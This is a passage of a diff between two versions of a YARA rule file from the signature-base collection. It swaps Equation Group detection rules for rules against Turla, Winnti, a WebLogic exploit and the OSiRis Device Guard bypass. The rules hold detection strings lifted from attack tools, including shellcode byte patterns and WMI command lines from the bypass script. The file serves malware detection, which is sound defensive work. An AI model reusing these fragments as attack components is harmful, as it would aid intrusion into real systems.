+		$shellcode_kernel32_with_junk_code = { 33 c0 83 ?? ?? 83 ?? ?? 64 a1 30 00 00 00 83 ?? ?? 83 ?? ?? 8b 40 0c 83 ?? ?? 83 ?? ?? 8b 40 14 83 ?? ?? 83 ?? ?? 8b 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8b 00 83 ?? ?? 83 ?? ?? 8b 40 10 83 ?? ?? }
+		$mutex_name = "OPSEC_BERNHARD"
+		$build_path = "C:\\bernhard\\Debug\\bernhard.pdb"
+		$string_decode_routine = { 55 8b ec 83 ec 50 53 56 57 a1 ?? ?? ?? ?? 89 45 f8 66 8b 0d ?? ?? ?? ?? 66 89 4d fc 8a 15 ?? ?? ?? ?? 88 55 fe 8d 45 f8 50 ff ?? ?? ?? ?? ?? 89 45 f0 c7 45 f4 00 00 00 00 ?? ?? 8b 45 f4 83 c0 01 89 45 f4 8b 45 08 50 ff ?? ?? ?? ?? ?? 39 45 f4 ?? ?? 8b 45 08 03 45 f4 0f be 08 8b 45 f4 99 f7 7d f0 0f be 54 15 f8 33 ca 8b 45 08 03 45 f4 88 08 ?? ?? 5f 5e 5b 8b e5 5d }
 
 	condition:
-		( uint16(0)==0x457f and filesize <700KB and all of them )
+		any of them
 }
-rule SIGNATURE_BASE_Equationgroup_Gr_Dev_Bin_Now : FILE
+rule SIGNATURE_BASE_Snaketurla_Malware_May17_1 : FILE
 {
 	meta:
-		description = "Equation Group hack tool set"
+		description = "Detects Snake / Turla Sample"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9ec19323-85d5-5edf-99eb-b452c09b870a"
-		date = "2017-04-09"
-		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1258-L1272"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1d7f009c5593ac1b1517024b828b016d705b63f6812a49d909f35c34b936e6d7"
+		id = "ddbbd602-b7f0-5e14-be0f-0c84bb22ddeb"
+		date = "2017-05-04"
+		modified = "2023-01-06"
+		reference = "https://goo.gl/QaOh4V"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_snaketurla_osx.yar#L11-L25"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "12b18c9e03f1a471541de2fb3ecc6b90a13910ca299a9b7d2bad9dd11f881506"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f5ed8312fc6e624b04e1e2d6614f3c651c9e9902ff41f4d069c32caca0869fa4"
+		hash1 = "5b7792a16c6b7978fca389882c6aeeb2c792352076bf6a064e7b8b90eace8060"
 
 	strings:
-		$x1 = "HTTP_REFERER=\"https://127.0.0.1:6655/cgi/redmin?op=cron&action=once\"" fullword ascii
-		$x2 = "exec /usr/share/redmin/cgi/redmin" fullword ascii
+		$s1 = "/Users/vlad/Desktop/install/install/" ascii
 
 	condition:
-		( filesize <1KB and 1 of them )
+		( uint16(0)==0xfacf and filesize <200KB and all of them )
 }
-rule SIGNATURE_BASE_Equationgroup_Gr_Dev_Bin_Post : FILE
+rule SIGNATURE_BASE_Snaketurla_Malware_May17_2 : FILE
 {
 	meta:
-		description = "Equation Group hack tool set"
+		description = "Detects Snake / Turla Sample"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9ec19323-85d5-5edf-99eb-b452c09b870a"
-		date = "2017-04-09"
+		id = "b3e94016-591c-5e39-b5e7-328e0761e535"
+		date = "2017-05-04"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1274-L1287"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ffd95302df11d1ebab37817e967a1ad4d1e85e62b38a0ccd6adf0f36925e64c1"
+		reference = "https://goo.gl/QaOh4V"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_snaketurla_osx.yar#L27-L42"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "35bd8650afbc515ecd1cef393fd75f9b77a1e31111612227f0f4557fe8b312a7"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c1546155efa95dbc4e3cc95299a3968fc075f89d33164e78b00b76c7d08a0591"
+		hash1 = "b8ee4556dc09b28826359b98343a4e00680971a6f8c6602747bd5d723d26eaea"
 
 	strings:
-		$x1 = "op=cron&action=once&frame=cronOnceFrame&cronK=cronV&cronCommand=%2Ftmp%2Ftmpwatch&time=12%3A12+01%2F28%2F2005" ascii
+		$s1 = "b_openssl: oops - number of mutexes is 0" fullword ascii
+		$s2 = "networksetup -get%sproxy Ethernet" fullword ascii
+		$s3 = "012A04DECBC441e49C527B2798F54CA7LOG_NAMED_PIPE_NAME" fullword ascii
 
 	condition:
-		( filesize <1KB and all of them )
+		( uint16(0)==0xfacf and filesize <6000KB and all of them )
 }
-rule SIGNATURE_BASE_Equationgroup_Curseyo_Win2K_V_1_0_0 : FILE
+rule SIGNATURE_BASE_Snaketurla_Malware_May17_4 : FILE
 {
 	meta:
-		description = "Equation Group hack tool set"
+		description = "Detects Snake / Turla Sample"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8161907d-d6bd-58c5-806d-387321b93b21"
-		date = "2017-04-09"
+		id = "797dedd6-a13e-529f-bae4-4043294672c4"
+		date = "2017-05-04"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1289-L1306"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ad9bb848a0c4805a14465ff44e3c967c9afa7369536a211a8a1fb100902fbb55"
+		reference = "https://goo.gl/QaOh4V"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_snaketurla_osx.yar#L44-L57"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7b6aac2313ea7dae572114e92ad0b5437c5be2542853de3b184bef780faee68b"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "5dc77614764b23a38610fdd8abe5b2274222f206889e4b0974a3fea569055ed6"
+		hash1 = "d5ea79632a1a67abbf9fb1c2813b899c90a5fb9442966ed4f530e92715087ee2"
 
 	strings:
-		$s1 = "0123456789abcdefABCEDF:" fullword ascii
-		$op0 = { c6 06 5b 8b bd 70 ff ff ff 8b 9d 64 ff ff ff 0f }
-		$op1 = { 55 b8 ff ff ff ff 89 e5 83 ec 28 89 7d fc 8b 7d }
-		$op2 = { ff 05 10 64 41 00 89 34 24 e8 df 1e 00 00 e9 31 }
+		$s1 = "Install Adobe Flash Player.app/com.adobe.updatePK" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and all of them )
+		( uint16(0)==0x4b50 and filesize <5000KB and all of them )
 }
-rule SIGNATURE_BASE_Equationgroup_Gr : FILE
+rule SIGNATURE_BASE_Snaketurla_Installd_SH : FILE
 {
 	meta:
-		description = "Equation Group hack tool set"
+		description = "Detects Snake / Turla Sample"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9ec19323-85d5-5edf-99eb-b452c09b870a"
-		date = "2017-04-09"
+		id = "65a97c0d-5c69-5e58-9a18-10e5684bc218"
+		date = "2017-05-04"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1308-L1322"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6df2a36e51fbe23e090094a91da76ca881a65d7e129c6e428ffef13787f230bc"
+		reference = "https://goo.gl/QaOh4V"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_snaketurla_osx.yar#L59-L72"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5b16107434951ddb212996909d53dfbcdae74ed13df6690ce3f6c74258ab4670"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d3cd725affd31fa7f0e2595f4d76b09629918612ef0d0307bb85ade1c3985262"
 
 	strings:
-		$s1 = "if [ -f /tmp/tmpwatch ] ; then" fullword ascii
-		$s2 = "echo \"bailing. try a different name\"" fullword ascii
+		$s1 = "PIDS=`ps cax | grep installdp" ascii
+		$s2 = "${SCRIPT_DIR}/installdp ${FILE}" ascii
 
 	condition:
-		( filesize <1KB and all of them )
+		( uint16(0)==0x2123 and filesize <20KB and all of them )
 }
-rule SIGNATURE_BASE_Equationgroup_Curseroot_Win2K_V_2_1_0 : FILE
+rule SIGNATURE_BASE_Snaketurla_Install_SH : FILE
 {
 	meta:
-		description = "Equation Group hack tool set"
+		description = "Detects Snake / Turla Sample"
 		author = "Florian Roth (Nextron Systems)"
-		id = "bd2257ef-8170-547d-9c5e-7ff03404495c"
-		date = "2017-04-09"
+		id = "68775c54-46f8-5d44-ba63-6726d2bb8016"
+		date = "2017-05-04"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1324-L1340"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "64ea35c9287ed35b5e7fbc8aaa228f87bc003111dd6fc35f5277eeea5f371a2c"
+		reference = "https://goo.gl/QaOh4V"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_snaketurla_osx.yar#L74-L87"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "019d20ca6632759cf01962d336c22831edc64b6927d8b27d026b76eb118fce02"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a1637948ed6ebbd2e582eb99df0c06b27a77c01ad1779b3d84c65953ca2cb603"
 
 	strings:
-		$s1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/%s,%s" fullword ascii
-		$op0 = { c7 44 24 04 ff ff ff ff 89 04 24 e8 46 65 01 00 }
-		$op1 = { 8d 5d 88 89 1c 24 e8 24 1b 01 00 be ff ff ff ff }
-		$op2 = { d3 e0 48 e9 0c ff ff ff 8b 45 }
+		$s1 = "${TARGET_PATH}/installd.sh" ascii
+		$s2 = "$TARGET_PATH2/com.adobe.update.plist" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <400KB and $s1 and 2 of ($op*))
+		( uint16(0)==0x2123 and filesize <20KB and all of them )
 }
-rule SIGNATURE_BASE_Equationgroup_Cursewham_Curserazor_Cursezinger_Curseroot_Win2K : FILE
+rule SIGNATURE_BASE_Gen_Exploit_CVE_2017_10271_Weblogic : HIGHVOL CVE_2017_10271 FILE
 {
 	meta:
-		description = "Equation Group hack tool set"
-		author = "Florian Roth (Nextron Systems)"
-		id = "6a877998-7021-54cb-b068-452d005955b6"
-		date = "2017-04-09"
+		description = "Exploit for CVE-2017-10271 (Oracle WebLogic)"
+		author = "John Lambert @JohnLaTwC"
+		id = "e30e316f-1ebb-5c38-ba25-d2a9d0083a03"
+		date = "2018-03-21"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1342-L1362"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a5a8e6a516b51c2eed616c80a1162990c1dda4460ec7786793d66820ca15b5a4"
+		reference = "https://github.com/c0mmand3rOpSec/CVE-2017-10271, https://www.fireeye.com/blog/threat-research/2018/02/cve-2017-10271-used-to-deliver-cryptominers.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_exploit_cve_2017_10271_weblogic.yar#L1-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "01e4f7b1c9c068f3953fa58749a14ea148d2b038c7266da789e0998eae83e1a7"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "aff27115ac705859871ab1bf14137322d1722f63705d6aeada43d18966843225"
-		hash2 = "7a25e26950bac51ca8d37cec945eb9c38a55fa9a53bc96da53b74378fb10b67e"
+		tags = "HIGHVOL, CVE-2017-10271, FILE"
+		hash1 = "376c2bc11d4c366ad4f6fecffc0bea8b195e680b4c52a48d85a8d3f9fab01c95"
+		hash2 = "7d5819a2ea62376e24f0dd3cf5466d97bbbf4f5f730eb9302307154b363967ea"
+		hash3 = "864e9d8904941fae90ddd10eb03d998f85707dc2faff80cba2e365a64e830e1d/subfile"
+		hash4 = "2a69e46094d0fef2b3ffcab73086c16a10b517f58e0c1f743ece4f246889962b"
 
 	strings:
-		$s1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/%s,%s" fullword ascii
-		$s3 = ",%02d%03d" fullword ascii
-		$s4 = "[%.2u%.2u%.2u%.2u%.2u%.2u]" fullword ascii
-		$op1 = { 7d ec 8d 74 3f 01 0f af f7 c1 c6 05 }
-		$op2 = { 29 f1 89 fb d3 eb 89 f1 d3 e7 }
-		$op3 = { 7d e4 8d 5c 3f 01 0f af df c1 c3 05 }
+		$s1 = "<soapenv:Header"
+		$s2 = "java.beans.XMLDecoder"
+		$s3 = "void" fullword
+		$s4 = "index="
+		$s5 = "/array>"
+		$s6 = "\"start\""
+		$s7 = "work:WorkContext" nocase
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <400KB and 3 of them )
+		filesize <10KB and ( uint32(0)==0x616f733c or uint32(0)==0x54534f50) and all of ($s*)
 }
-rule SIGNATURE_BASE_Equationgroup_Watcher_Linux_I386_V_3_3_0 : FILE
+rule SIGNATURE_BASE_Invoke_Osiris
 {
 	meta:
-		description = "Equation Group hack tool set"
+		description = "Osiris Device Guard Bypass - file Invoke-OSiRis.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3c5dc02b-a11a-5c61-8069-641ba90668ec"
-		date = "2017-04-09"
+		id = "b9f4e5dd-2366-5898-9f46-17584139469f"
+		date = "2017-03-27"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1364-L1381"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "245662b561178f4d929ed858811846b2a49dc80af25396864a3d7bd90d16ac2b"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_ps_osiris.yar#L10-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c63402fe46cec3f452eb740b1b8b22475535ce867d6268d4834b46f879ff7306"
 		score = 75
-		quality = 85
-		tags = "FILE"
+		quality = 60
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ce4c9bfa25b8aad8ea68cc275187a894dec5d79e8c0b2f2f3ec4184dc5f402b8"
+		hash1 = "19e4a8b07f85c3d4c396d0c4e839495c9fba9405c06a631d57af588032d2416e"
 
 	strings:
-		$s1 = "invalid option `" fullword ascii
-		$s8 = "readdir64" fullword ascii
-		$s9 = "89:z89:%r%opw" fullword wide
-		$s13 = "Ropopoprstuvwypypop" fullword wide
-		$s17 = "Missing argument for `-x'." fullword ascii
+		$x1 = "$null = Iwmi Win32_Process -EnableA -Impers 3 -AuthenPacketprivacy -Name Create -Arg $ObfusK -Computer $Target" fullword ascii
+		$x2 = "Invoke-OSiRis" ascii
+		$x3 = "-Arg@{Name=$VarName;VariableValue=$OSiRis;UserName=$env:Username}" fullword ascii
+		$x4 = "Device Guard Bypass Command Execution" fullword ascii
+		$x5 = "-Put Payload in Win32_OSRecoveryConfiguration DebugFilePath" fullword ascii
+		$x6 = "$null = Iwmi Win32_Process -EnableA -Impers 3 -AuthenPacketprivacy -Name Create" fullword ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <700KB and all of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Charm_Saver_Win2K_V_2_0_0 : FILE
+rule SIGNATURE_BASE_APT_MAL_Winntilinux_Dropper_Azazelfork_May19 : AZAZEL_FORK FILE
 {
 	meta:
-		description = "Equation Group hack tool set"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9c2e3b70-ffa2-598a-9f99-f7a574b06c14"
-		date = "2017-04-09"
+		description = "Detection of Linux variant of Winnti"
+		author = "Silas Cutler (havex [@] chronicle.security), Chronicle Security"
+		id = "d641de9a-e563-5067-b7e4-0aa83a087ed4"
+		date = "2019-05-15"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1383-L1399"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "87cea1f46a3165485274165e840a4945d6f6a6f9ff7fd011e685e8bb90acae8a"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_linux.yar#L1-L16"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4741c2884d1ca3a40dadd3f3f61cb95a59b11f99a0f980dbadc663b85eb77a2a"
+		logic_hash = "0af32675dccfd0ad0c7919683fddced6ad49c65800ffa523773b7342b431379f"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0f7936a37482532a8ba5df4112643ed7579dd0e59181bfca9c641b9ba0a9912f"
+		tags = "AZAZEL_FORK, FILE"
+		version = "1.0"
+		TLP = "White"
 
 	strings:
-		$s2 = "0123456789abcdefABCEDF:" fullword ascii
-		$op0 = { b8 ff ff ff ff 7f 65 eb 30 8b 55 0c 89 d7 0f b6 }
-		$op2 = { ba ff ff ff ff 83 c4 6c 89 d0 5b 5e 5f 5d c3 90 }
+		$config_decr = { 48 89 45 F0 C7 45 EC 08 01 00 00 C7 45 FC 28 00 00 00 EB 31 8B 45 FC 48 63 D0 48 8B 45 F0 48 01 C2 8B 45 FC 48 63 C8 48 8B 45 F0 48 01 C8 0F B6 00 89 C1 8B 45 F8 89 C6 8B 45 FC 01 F0 31 C8 88 02 83 45 FC 01 }
+		$export1 = "our_sockets"
+		$export2 = "get_our_pids"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <400KB and all of them )
+		uint16(0)==0x457f and all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Cursehappy_Win2K_V_6_1_0 : FILE
+rule SIGNATURE_BASE_APT_MAL_Winntilinux_Main_Azazelfork_May19 : FILE
 {
 	meta:
-		description = "Equation Group hack tool set"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7b75d4aa-2cbc-57fc-8fda-015bbc1fb25e"
-		date = "2017-04-09"
+		description = "Detection of Linux variant of Winnti"
+		author = "Silas Cutler (havex [@] chronicle.security), Chronicle Security"
+		id = "a1693e2d-4d89-5cc7-ab14-c8feb000638a"
+		date = "2019-05-15"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1401-L1415"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3bf5878c3be20a7a543d4937c6d820df726062e39ee262a6c31f7e91b32fd55e"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_linux.yar#L18-L39"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ae9d6848f33644795a0cc3928a76ea194b99da3c10f802db22034d9f695a0c23"
+		logic_hash = "3ff38795179f6c32f2ff014b06ac126ae3a0de3fe7515f0e49f12f9c8ff14b43"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "eb669afd246a7ac4de79724abcce5bda38117b3138908b90cac58936520ea632"
+		version = "1.0"
+		TLP = "White"
 
 	strings:
-		$op1 = { e8 24 2c 01 00 85 c0 89 c6 ba ff ff ff ff 74 d6 }
-		$op2 = { 89 4c 24 04 89 34 24 89 44 24 08 e8 ce 49 ff ff }
+		$uuid_lookup = "/usr/sbin/dmidecode  | grep -i 'UUID' |cut -d' ' -f2 2>/dev/null"
+		$dbg_msg = "[advNetSrv] can not create a PF_INET socket"
+		$rtti_name1 = "CNetBase"
+		$rtti_name2 = "CMyEngineNetEvent"
+		$rtti_name3 = "CBufferCache"
+		$rtti_name4 = "CSocks5Base"
+		$rtti_name5 = "CDataEngine"
+		$rtti_name6 = "CSocks5Mgr"
+		$rtti_name7 = "CRemoteMsg"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <400KB and all of them )
+		uint16(0)==0x457f and (($dbg_msg and 1 of ($rtti*)) or (5 of ($rtti*)) or ($uuid_lookup and 2 of ($rtti*)))
 }
-rule SIGNATURE_BASE_Equationgroup_Morerats_Client_Store : FILE
+rule SIGNATURE_BASE_Neuron_Common_Strings : FILE
 {
 	meta:
-		description = "Equation Group hack tool set"
-		author = "Florian Roth (Nextron Systems)"
-		id = "de6de983-fad2-58cf-95be-57109436d5fc"
-		date = "2017-04-09"
+		description = "Rule for detection of Neuron based on commonly used strings"
+		author = "NCSC UK"
+		id = "168214d4-7436-531e-9c1f-48ca22215a1b"
+		date = "2017-11-23"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1417-L1433"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "34dc21d933d56b6f6c342ca110d9cff7bb51d9fd1b88b359861e5b5650679ad0"
+		reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turla_neuron.yar#L9-L32"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29"
+		logic_hash = "5f7a704fa0b6892b40868689c876e2f8252bb7319424212454408cbdf66f0b9f"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "619944358bc0e1faffd652b6af0600de055c5e7f1f1d91a8051ed9adf5a5b465"
 
 	strings:
-		$s1 = "[-] Failed to mmap file: %s" fullword ascii
-		$s2 = "[-] can not NULL terminate input data" fullword ascii
-		$s3 = "Missing argument for `-x'." fullword ascii
-		$s4 = "[!] Value has size of 0!" fullword ascii
+		$strServiceName = "MSExchangeService" ascii
+		$strReqParameter_1 = "cadataKey" wide
+		$strReqParameter_3 = "cadata" wide
+		$strReqParameter_4 = "cadataSig" wide
+		$strEmbeddedKey = "PFJTQUtleVZhbHVlPjxNb2R1bHVzPnZ3WXRKcnNRZjVTcCtWVG9Rb2xuaEVkMHVwWDFrVElFTUNTNEFnRkRCclNm clpKS0owN3BYYjh2b2FxdUtseXF2RzBJcHV0YXhDMVRYazRoeFNrdEpzbHljU3RFaHBUc1l4OVBEcURabVVZVklVb HlwSFN1K3ljWUJWVFdubTZmN0JTNW1pYnM0UWhMZElRbnl1ajFMQyt6TUhwZ0xmdEc2b1d5b0hyd1ZNaz08L01vZH VsdXM+PEV4cG9uZW50PkFRQUI8L0V4cG9uZW50PjwvUlNBS2V5VmFsdWU+" wide
+		$strDefaultKey = "8d963325-01b8-4671-8e82-d0904275ab06" wide
+		$strIdentifier = "MSXEWS" wide
+		$strListenEndpoint = "443/ews/exchange/" wide
+		$strB64RegKeySubstring = "U09GVFdBUkVcTWljcm9zb2Z0XENyeXB0b2dyYXBo" wide
+		$strName = "neuron_service" ascii
+		$dotnetMagic = "BSJB" ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <60KB and 2 of them )
+		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and $dotnetMagic and 6 of ($str*)
 }
-rule SIGNATURE_BASE_Equationgroup_Watcher_Linux_X86_64_V_3_3_0 : FILE
+rule SIGNATURE_BASE_Nautilus_Forensic_Artificats
 {
 	meta:
-		description = "Equation Group hack tool set"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4077242e-a0f2-54a8-afad-f52b8ed874ba"
-		date = "2017-04-09"
+		description = "Rule for detection of Nautilus related strings"
+		author = "NCSC UK / Florian Roth"
+		id = "0c0a24da-4dbc-543a-9ec0-a5b1ec75c889"
+		date = "2017-11-23"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1435-L1450"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "be2ca3791ef1025db6a1dd6bcdf1a9f0b224c3f7585af4546029840251c50094"
-		score = 75
+		reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turla_neuron.yar#L98-L125"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "17ae559a4640636f1285c7078a4366954d5a41c098419db32315e354f0ae619d"
+		score = 60
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a8d65593f6296d6d06230bcede53b9152842f1eee56a2a72b0a88c4f463a09c3"
+		tags = ""
 
 	strings:
-		$s1 = "forceprismheader" fullword ascii
-		$s2 = "invalid option `" fullword ascii
-		$s3 = "forceprism" fullword ascii
+		$ = "App_Web_juvjerf3.dll" fullword ascii
+		$ = "App_Web_vcplrg8q.dll" fullword ascii
+		$ = "ar_all2.txt" fullword ascii
+		$ = "ar_sa.txt" fullword ascii
